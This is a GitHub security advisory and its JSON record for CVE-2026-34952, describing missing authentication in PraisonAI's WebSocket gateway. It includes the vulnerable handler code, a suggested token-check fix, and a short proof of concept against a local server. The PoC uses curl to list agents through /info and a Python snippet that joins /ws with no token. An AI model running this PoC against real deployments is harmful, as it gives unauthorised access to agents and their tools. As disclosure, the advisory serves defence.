GHSA-CFH6-VR3J-QC3G

Vulnerability from github – Published: 2026-04-01 23:28 – Updated: 2026-04-06 22:54
VLAI
Summary
PraisonAI Has Missing Authentication in WebSocket Gateway
Details

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)

# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.

Suggested Fix

async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.96"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:28:04Z",
    "nvd_published_at": "2026-04-03T23:17:06Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -\u003e `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=\u0027127.0.0.1\u0027, port=8765).start())\" \u0026\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n    async with websockets.connect(\u0027ws://127.0.0.1:8765/ws\u0027) as ws:\n        print(\u0027Connected with no auth\u0027)\n        await ws.send(json.dumps({\u0027type\u0027: \u0027join\u0027, \u0027agent_id\u0027: \u0027assistant\u0027}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```",
  "id": "GHSA-cfh6-vr3j-qc3g",
  "modified": "2026-04-06T22:54:21Z",
  "published": "2026-04-01T23:28:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34952"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Missing Authentication in WebSocket Gateway"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…